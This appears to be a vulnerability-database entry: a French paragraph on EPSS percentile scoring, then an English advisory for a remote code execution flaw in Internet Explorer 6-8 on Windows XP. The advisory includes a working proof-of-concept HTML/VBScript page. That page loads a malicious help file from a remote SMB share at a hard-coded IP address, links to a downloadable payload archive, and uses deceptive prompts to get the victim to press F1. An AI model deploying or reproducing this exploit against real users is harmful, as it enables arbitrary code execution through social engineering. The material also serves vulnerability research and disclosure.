Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Microsoft Internet Explorer is prone to a remote code execution vulnerability. Source (iSEC Security Research): http://isec.pl/vulnerabilities10.html Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer. Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so. Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform. =============================================================== A copy of test.hlp can be downloaded from here: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11615.zip (msgbox_test_help.zip) =============================================================== <html> <script type="text/vbscript"> big = "\\184.73.14.110\PUBLIC\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </html>
